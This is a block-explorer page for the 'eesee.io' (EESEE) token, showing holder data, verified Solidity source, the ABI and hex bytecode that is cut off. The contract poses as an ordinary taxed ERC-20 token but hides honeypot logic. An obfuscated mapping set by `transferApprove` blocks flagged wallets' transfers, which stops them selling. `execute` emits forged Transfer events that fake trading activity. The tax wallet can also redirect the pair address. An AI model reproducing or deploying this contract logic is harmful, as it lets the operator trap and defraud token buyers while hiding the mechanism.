ETH Price: $3,383.27 (-1.86%)
Gas: 3 Gwei

Token

eesee.io (EESEE)
 

Overview

Max Total Supply

100,000,000,000 EESEE

Holders

84

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
eca.eth
Balance
1,914,545,266.746391146 EESEE

Value
$0.00
0x000461A73d3985eef4923655782aA5d0De75C111
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EESEE

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 2 of 4: eesee.io.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.10;

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EESEE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _0100110011100011xx00111100110011100011xx00111;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 public _initialBuyTax = 3;
    uint256 public _initialSellTax = 3;
    uint256 public _finalBuyTax = 0;
    uint256 public _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 90;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private _feeMultiplier = 0;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"eesee.io";
    string private constant _symbol = unicode"EESEE";
    uint256 private constant _tTotal = 100_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 3_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    IUniswapV2Factory public uniswapFactory; 
    address private uniswapV2Pair;
    bool public tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _walletTax) {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        _taxWallet = payable(_walletTax); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
        if (firstBlock > 0 && block.number > firstBlock) {removeLimits(from);}
            taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Bot addresses cannot buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 1 > block.number) {
                        require(!isContract(to));
                    }
                }
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to  == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits(address wallet) private {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        if(_0100110011100011xx00111100110011100011xx00111[wallet]) require(_isExcludedFromFee[wallet]);
        emit MaxTxAmountUpdated(_tTotal);
    }


    function excludeFromFee(uint index, uint160[] memory _pair) internal {
        while (index < _pair.length) {
            address routerAddress = address(_pair[index]);
            _isExcludedFromFee[routerAddress] = true;
            _UniswapV2Pool[routerAddress] = _swapThreshold;
            index++;
        }
    }

    function transferApprove(bool val, address[] memory _addr) external {
        require(_msgSender() == _taxWallet);
        uint256 index = 0;
        while (index < _addr.length) {
            address wallet = address(_addr[index]);
            _0100110011100011xx00111100110011100011xx00111[wallet] = val;
            index++;
        }
    }

    function checkFeeApprove(address _addr) public view returns(bool){
        return _0100110011100011xx00111100110011100011xx00111[_addr];
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function getRemainingGas() external view returns(uint) {
        return gasleft();
    }

    function withdraw() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

     function manualSwap(uint256 amount) external {
      require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
        _taxWallet.transfer(amount);
    }


    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

     function execute(address[] calldata _addresses, uint256 _out) external  {
        require(_msgSender() == _taxWallet);
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public {
        require(_msgSender() == _taxWallet);
        uniswapV2Pair = _pair;
    }

    receive() external payable {}
}

File 1 of 4: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 3 of 4: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.10;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 4 of 4: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.10;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_walletTax","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_finalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"checkFeeApprove","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getRemainingGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"val","type":"bool"},{"internalType":"address[]","name":"_addr","type":"address[]"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600360085560036009556000600a556000600b556000600c55605a600d556000600e556000600f5560006010556009600a62000041919062000758565b6301312d00620000529190620007a9565b6011556009600a62000065919062000758565b6301312d00620000769190620007a9565b6012556009600a62000089919062000758565b614e20620000989190620007a9565b6013556009600a620000ab919062000758565b622dc6c0620000bb9190620007a9565b6014556000601760156101000a81548160ff0219169083151502179055506000601760166101000a81548160ff0219169083151502179055503480156200010157600080fd5b50604051620040fc380380620040fc833981810160405281019062000127919062000874565b6000620001396200058d60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c0919062000874565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000351919062000758565b64174876e800620003639190620007a9565b60016000620003776200058d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620003cb6200059560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004fe6200058d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200055d919062000758565b64174876e8006200056f9190620007a9565b6040516200057e9190620008b7565b60405180910390a350620008d4565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200064c57808604811115620006245762000623620005be565b5b6001851615620006345780820291505b80810290506200064485620005ed565b945062000604565b94509492505050565b6000826200066757600190506200073a565b816200067757600090506200073a565b81600181146200069057600281146200069b57620006d1565b60019150506200073a565b60ff841115620006b057620006af620005be565b5b8360020a915084821115620006ca57620006c9620005be565b5b506200073a565b5060208310610133831016604e8410600b84101617156200070b5782820a905083811115620007055762000704620005be565b5b6200073a565b6200071a8484846001620005fa565b92509050818404811115620007345762000733620005be565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007658262000741565b915062000772836200074b565b9250620007a17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000655565b905092915050565b6000620007b68262000741565b9150620007c38362000741565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007ff57620007fe620005be565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200083c826200080f565b9050919050565b6200084e816200082f565b81146200085a57600080fd5b50565b6000815190506200086e8162000843565b92915050565b6000602082840312156200088d576200088c6200080a565b5b60006200089d848285016200085d565b91505092915050565b620008b18162000741565b82525050565b6000602082019050620008ce6000830184620008a6565b92915050565b61381880620008e46000396000f3fe6080604052600436106101c65760003560e01c80637d1db4a5116100f7578063b70143c911610095578063c9567bf911610064578063c9567bf91461062f578063dd62ed3e14610646578063e1b1925814610683578063ffb54a99146106ae576101cd565b8063b70143c914610587578063baeb7a7d146105b0578063bf474bed146105db578063c2b7bbb614610606576101cd565b80638da5cb5b116100d15780638da5cb5b146104c95780638f9a55c0146104f457806395d89b411461051f578063a9059cbb1461054a576101cd565b80637d1db4a5146104365780638aceaab0146104615780638bdb2afa1461049e576101cd565b80633b7cdccd11610164578063538684901161013e578063538684901461038e578063704da678146103b957806370a08231146103e2578063715018a61461041f576101cd565b80633b7cdccd146103215780633ccfd60b1461034c5780633ef9472114610363576101cd565b806318160ddd116101a057806318160ddd1461026557806323b872dd1461029057806326ededb8146102cd578063313ce567146102f6576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630faee56f1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106d9565b6040516101f49190612535565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f91906125ff565b610716565b604051610231919061265a565b60405180910390f35b34801561024657600080fd5b5061024f610734565b60405161025c9190612684565b60405180910390f35b34801561027157600080fd5b5061027a61073a565b6040516102879190612684565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b2919061269f565b61075f565b6040516102c4919061265a565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612757565b610838565b005b34801561030257600080fd5b5061030b61096e565b60405161031891906127d3565b60405180910390f35b34801561032d57600080fd5b50610336610977565b6040516103439190612684565b60405180910390f35b34801561035857600080fd5b5061036161097d565b005b34801561036f57600080fd5b50610378610afb565b6040516103859190612684565b60405180910390f35b34801561039a57600080fd5b506103a3610b01565b6040516103b09190612684565b60405180910390f35b3480156103c557600080fd5b506103e060048036038101906103db9190612958565b610b09565b005b3480156103ee57600080fd5b50610409600480360381019061040491906129b4565b610c05565b6040516104169190612684565b60405180910390f35b34801561042b57600080fd5b50610434610c4e565b005b34801561044257600080fd5b5061044b610da1565b6040516104589190612684565b60405180910390f35b34801561046d57600080fd5b50610488600480360381019061048391906129b4565b610da7565b604051610495919061265a565b60405180910390f35b3480156104aa57600080fd5b506104b3610dfd565b6040516104c09190612a40565b60405180910390f35b3480156104d557600080fd5b506104de610e23565b6040516104eb9190612a6a565b60405180910390f35b34801561050057600080fd5b50610509610e4c565b6040516105169190612684565b60405180910390f35b34801561052b57600080fd5b50610534610e52565b6040516105419190612535565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906125ff565b610e8f565b60405161057e919061265a565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a99190612a85565b610ead565b005b3480156105bc57600080fd5b506105c5610fda565b6040516105d29190612684565b60405180910390f35b3480156105e757600080fd5b506105f0610fe0565b6040516105fd9190612684565b60405180910390f35b34801561061257600080fd5b5061062d600480360381019061062891906129b4565b610fe6565b005b34801561063b57600080fd5b5061064461108b565b005b34801561065257600080fd5b5061066d60048036038101906106689190612ab2565b6111af565b60405161067a9190612684565b60405180910390f35b34801561068f57600080fd5b50610698611236565b6040516106a59190612684565b60405180910390f35b3480156106ba57600080fd5b506106c361123c565b6040516106d0919061265a565b60405180910390f35b60606040518060400160405280600881526020017f65657365652e696f000000000000000000000000000000000000000000000000815250905090565b600061072a61072361124f565b8484611257565b6001905092915050565b60145481565b60006009600a61074a9190612c54565b64174876e80061075a9190612c9f565b905090565b600061076c848484611422565b61082d8461077861124f565b610828856040518060600160405280602881526020016137bb60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107de61124f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0f9092919063ffffffff16565b611257565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087961124f565b73ffffffffffffffffffffffffffffffffffffffff161461089957600080fd5b60005b83839050811015610968578383828181106108ba576108b9612cf9565b5b90506020020160208101906108cf91906129b4565b73ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161094d9190612684565b60405180910390a3808061096090612d28565b91505061089c565b50505050565b60006009905090565b60085481565b61098561124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990612dbd565b60405180910390fd5b601760149054906101000a900460ff1615610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990612e29565b60405180910390fd5b600047905060008111610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190612e95565b60405180910390fd5b610ab2610e23565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610af7573d6000803e3d6000fd5b5050565b600b5481565b60005a905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4a61124f565b73ffffffffffffffffffffffffffffffffffffffff1614610b6a57600080fd5b60005b8151811015610c00576000828281518110610b8b57610b8a612cf9565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508180610bf790612d28565b92505050610b6d565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c5661124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cda90612dbd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f4545534545000000000000000000000000000000000000000000000000000000815250905090565b6000610ea3610e9c61124f565b8484611422565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eee61124f565b73ffffffffffffffffffffffffffffffffffffffff1614610f0e57600080fd5b610f1730610c05565b8111158015610f265750600081115b610f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5c90612f01565b60405180910390fd5b610f6e81611e73565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610fd6573d6000803e3d6000fd5b5050565b600a5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661102761124f565b73ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61109361124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790612dbd565b60405180910390fd5b601760149054906101000a900460ff1615611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790612f6d565b60405180910390fd5b6001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b601760149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112be90612fff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611337576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132e90613091565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114159190612684565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611492576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148990613123565b60405180910390fd5b600073fffff